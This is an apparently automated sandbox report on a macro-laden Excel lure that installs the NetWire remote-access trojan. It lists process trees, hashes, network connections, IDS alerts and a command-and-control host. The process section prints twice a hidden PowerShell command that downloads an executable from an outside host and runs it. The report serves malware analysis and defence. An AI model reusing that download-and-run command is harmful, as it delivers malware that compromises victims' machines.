File name:

LetterofIntent-Eckharthelicopter.xls

Full analysis: https://app.any.run/tasks/398235d6-6d1a-465e-b96b-52122be095e1
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: July 24, 2020, 20:54:59
OS: Windows 10 Professional (build: 16299, 64 bit)
Tags:
macros
macros-on-open
loader
trojan
netwire
rat
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: DAZED, Last Saved By: DAZED, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jul 24 16:01:52 2020, Last Saved Time/Date: Fri Jul 24 16:06:33 2020, Security: 0
MD5:

6CB7256DDE8C6CF09FC82B7F75FD18AD

SHA1:

9B5BB3F2FDA7A6E316A210942D0D65D1E877761D

SHA256:

2CB072D9FCC9413A91B245513366C7BB52BFEC2638F67C158520C2854E264208

SSDEEP:

12288:huj3HVAQHVxSCyGnOsDRGzg5Bi0nvGfqTuRJwWJsZSk9A+oMD1L0Nc:UXVAQ1xSp8IzgSgvqRJwWJsZSoywL0S

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 4580)
    • Executes PowerShell scripts

      • cmd.exe (PID: 72)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 4580)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 1948)
    • Changes the autorun value in the registry

      • solu.exe (PID: 1740)
    • Application was dropped or rewritten from another process

      • solu.exe (PID: 1740)
      • solute.exe (PID: 2752)
    • NETWIRE was detected

      • solu.exe (PID: 1740)
    • Connects to CnC server

      • solu.exe (PID: 1740)
  • SUSPICIOUS

    • Reads Environment values

      • powershell.exe (PID: 1948)
    • Reads the machine GUID from the registry

      • powershell.exe (PID: 1948)
    • Creates files in the user directory

      • solute.exe (PID: 2752)
    • Starts itself from another location

      • solute.exe (PID: 2752)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1948)
      • solute.exe (PID: 2752)
  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 1948)
      • EXCEL.EXE (PID: 4580)
    • Reads the software policy settings

      • powershell.exe (PID: 1948)
      • EXCEL.EXE (PID: 4580)
    • Creates files in the user directory

      • EXCEL.EXE (PID: 4580)
    • Scans artifacts that could help determine the target

      • EXCEL.EXE (PID: 4580)
    • Reads Environment values

      • EXCEL.EXE (PID: 4580)
    • Reads the machine GUID from the registry

      • EXCEL.EXE (PID: 4580)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 4580)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: DAZED
LastModifiedBy: DAZED
Software: Microsoft Excel
CreateDate: 2020:07:24 15:01:52
ModifyDate: 2020:07:24 15:06:33
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: Sheet1
HeadingPairs:
  • Worksheets
  • 1
CompObjUserTypeLen: 31
CompObjUserType: Microsoft Excel 2003 Worksheet
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
93
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe cmd.exe no specs conhost.exe powershell.exe solute.exe #NETWIRE solu.exe

Process information

PID
CMD
Path
Indicators
Parent process
4580"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\admin\Desktop\LetterofIntent-Eckharthelicopter.xls"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
16.0.12026.20264
Modules
Images
c:\program files\microsoft office\root\office16\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ole32.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
72cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe')C:\WINDOWS\SYSTEM32\cmd.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
3424\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\WINDOWS\system32\conhost.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\conhostv2.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1948powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe')C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
2752"C:\Users\admin\AppData\Local\Temp\solute.exe" C:\Users\admin\AppData\Local\Temp\solute.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
XACT Build Utility
Exit code:
0
Version:
9.29 (DXSDK_JUN10.100602-0421)
Modules
Images
c:\users\admin\appdata\local\temp\solute.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernelbase.dll
1740"C:\Users\admin\AppData\Roaming\solu\solu.exe" C:\Users\admin\AppData\Roaming\solu\solu.exe
solute.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
XACT Build Utility
Exit code:
0
Version:
9.29 (DXSDK_JUN10.100602-0421)
Modules
Images
c:\users\admin\appdata\roaming\solu\solu.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernelbase.dll
Total events
2 869
Read events
2 556
Write events
268
Delete events
45

Modification events

(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:writeName:1
Value:
01D014000000001000284FFA2E01000000000000000400000000000000
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\Common\CrashPersistence\EXCEL\4580
Operation:writeName:0
Value:
0B0E101D32BF610AC392449F757F82F56F1BC1230046FEA98B96CCBF98EB016A0410240044FA5D64A89E01008500A907556E6B6E6F776EC9062E226D2B484F4D616659574A5464337373702B3165327141506A326C775347586F6C4A7635624B6E337449506B3D2200
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:en-US
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:es-es
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:de-de
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:fr-fr
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:it-it
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ja-jp
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ko-kr
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:pt-br
Value:
2
Executable files
2
Suspicious files
1
Text files
5
Unknown types
1

Dropped files

PID
Process
Filename
Type
4580EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z0B3631KDJ1WL4OLCXIM.temp
MD5:
SHA256:
4580EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
MD5:
SHA256:
4580EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7OJ3GWE2MNKXM9VH8HAV.temp
MD5:
SHA256:
1948powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_j5m1lfzy.0oo.ps1
MD5:
SHA256:
1948powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x5qbth5m.rfy.psm1
MD5:
SHA256:
4580EXCEL.EXEC:\Users\admin\AppData\Local\Temp\.sestext
MD5:C33ED3B632A8C623EA345A9B78D2524F
SHA256:7256054B34B9DD3414CA30A35507F58CC4470E9885BA2F4AB3C33C21B547EEA8
4580EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\C0E5D08C-4B40-44F8-AC52-044B8C0E498Axml
MD5:A8F520B6746F3FA641A8B8342E819BCD
SHA256:94D969F5FD76CC4E8FD4ED42864FC6B7AD9B9FCBB7FC9F39E21970648A8D4B6B
1948powershell.exeC:\Users\admin\AppData\Local\Temp\solute.exeexecutable
MD5:91506BC2A51501164B6A2B0C18AD1C44
SHA256:B16B3D99441F078E081E2AC0A8F0121CE4DAB264BF434E353D1E00A57E54D3AA
1948powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:65BDD5145D97FA744EEF1CB6762B6F6D
SHA256:D2025033AC5B23ED2BC7B8518CE20528781835C6C4C485A0AA1BED3B388ACF4A
4580EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\LetterofIntent-Eckharthelicopter.xls.LNKlnk
MD5:0F58D7EE239E09EBC5980639C0D7EAA2
SHA256:0739146FBE5404F541B3272A1F224CBB034DA96DE5F527E8DA997E0DE508C4D5
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
15
DNS requests
9
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4580
EXCEL.EXE
GET
304
20.191.48.196:443
https://settings-win-ppe.data.microsoft.com/settings/v2.0/Storage/StorageHealthEvaluation?os=Windows&deviceClass=Windows.Desktop&appVer=1.0.0.0
US
whitelisted
4580
EXCEL.EXE
GET
200
52.109.8.19:443
https://nexusrules.officeapps.live.com/nexus/rules?Application=excel.exe&Version=16.0.12026.20264&ClientId=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&OSEnvironment=10&MsoAppId=1&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12026.20264&
US
xml
313 Kb
whitelisted
1948
powershell.exe
GET
200
45.40.135.135:80
http://hodrc.org/ot/solut.exe
US
executable
1.40 Mb
suspicious
4580
EXCEL.EXE
GET
200
52.109.76.6:443
https://officeclient.microsoft.com/config16/?lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3
IE
xml
124 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/RST2.srf
US
xml
11.1 Kb
whitelisted
4580
EXCEL.EXE
GET
200
13.107.42.23:443
https://config.edge.skype.com/config/v2/Office/excel/16.0.12026.20264/Production/CC?&Clientid=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&Application=excel&Platform=win32&Version=16.0.12026.20264&MsoVersion=16.0.12026.20194&Audience=Production&Build=ship&Architecture=x64&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&Channel=CC&InstallType=C2R&SessionId=%7b61BF321D-C30A-4492-9F75-7F82F56F1BC1%7d&LabMachine=false
US
text
89.4 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/ppsecure/deviceaddcredential.srf
US
text
16.7 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/RST2.srf
US
xml
1.98 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/RST2.srf
US
xml
1.29 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/RST2.srf
US
xml
9.87 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4580
EXCEL.EXE
52.109.76.6:443
officeclient.microsoft.com
Microsoft Corporation
IE
whitelisted
4356
svchost.exe
20.191.48.196:443
settings-win-ppe.data.microsoft.com
Microsoft Corporation
US
unknown
1948
powershell.exe
45.40.135.135:80
hodrc.org
GoDaddy.com, LLC
US
suspicious
3388
svchost.exe
40.90.137.124:443
login.live.com
Microsoft Corporation
US
unknown
4580
EXCEL.EXE
52.109.8.19:443
nexusrules.officeapps.live.com
Microsoft Corporation
US
whitelisted
1740
solu.exe
185.165.153.158:2022
solution.myddns.me
NL
malicious
4580
EXCEL.EXE
13.107.42.23:443
config.edge.skype.com
Microsoft Corporation
US
suspicious
4580
EXCEL.EXE
52.114.128.70:443
self.events.data.microsoft.com
Microsoft Corporation
US
unknown

DNS requests

Domain
IP
Reputation
config.edge.skype.com
  • 13.107.42.23
whitelisted
hodrc.org
  • 45.40.135.135
unknown
self.events.data.microsoft.com
  • 52.114.128.70
  • 52.114.6.47
whitelisted
solution.myddns.me
  • 185.165.153.158
malicious
officeclient.microsoft.com
  • 52.109.76.6
whitelisted
nexusrules.officeapps.live.com
  • 52.109.8.19
whitelisted
login.live.com
  • 40.90.137.124
  • 40.90.137.125
  • 40.90.23.247
  • 40.90.23.153
  • 40.90.137.126
  • 40.90.23.206
  • 40.90.137.120
  • 40.90.137.127
whitelisted
settings-win-ppe.data.microsoft.com
  • 20.191.48.196
whitelisted

Threats

PID
Process
Class
Message
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
A Network Trojan was detected
MALWARE [PTsecurity] Netwire.RAT
A Network Trojan was detected
MALWARE [PTsecurity] Netwire.RAT
A Network Trojan was detected
MALWARE [PTsecurity] Netwire.RAT
2 ETPRO signatures available at the full report
Process
Message
conhost.exe
InitSideBySide failed create an activation context. Error: 1814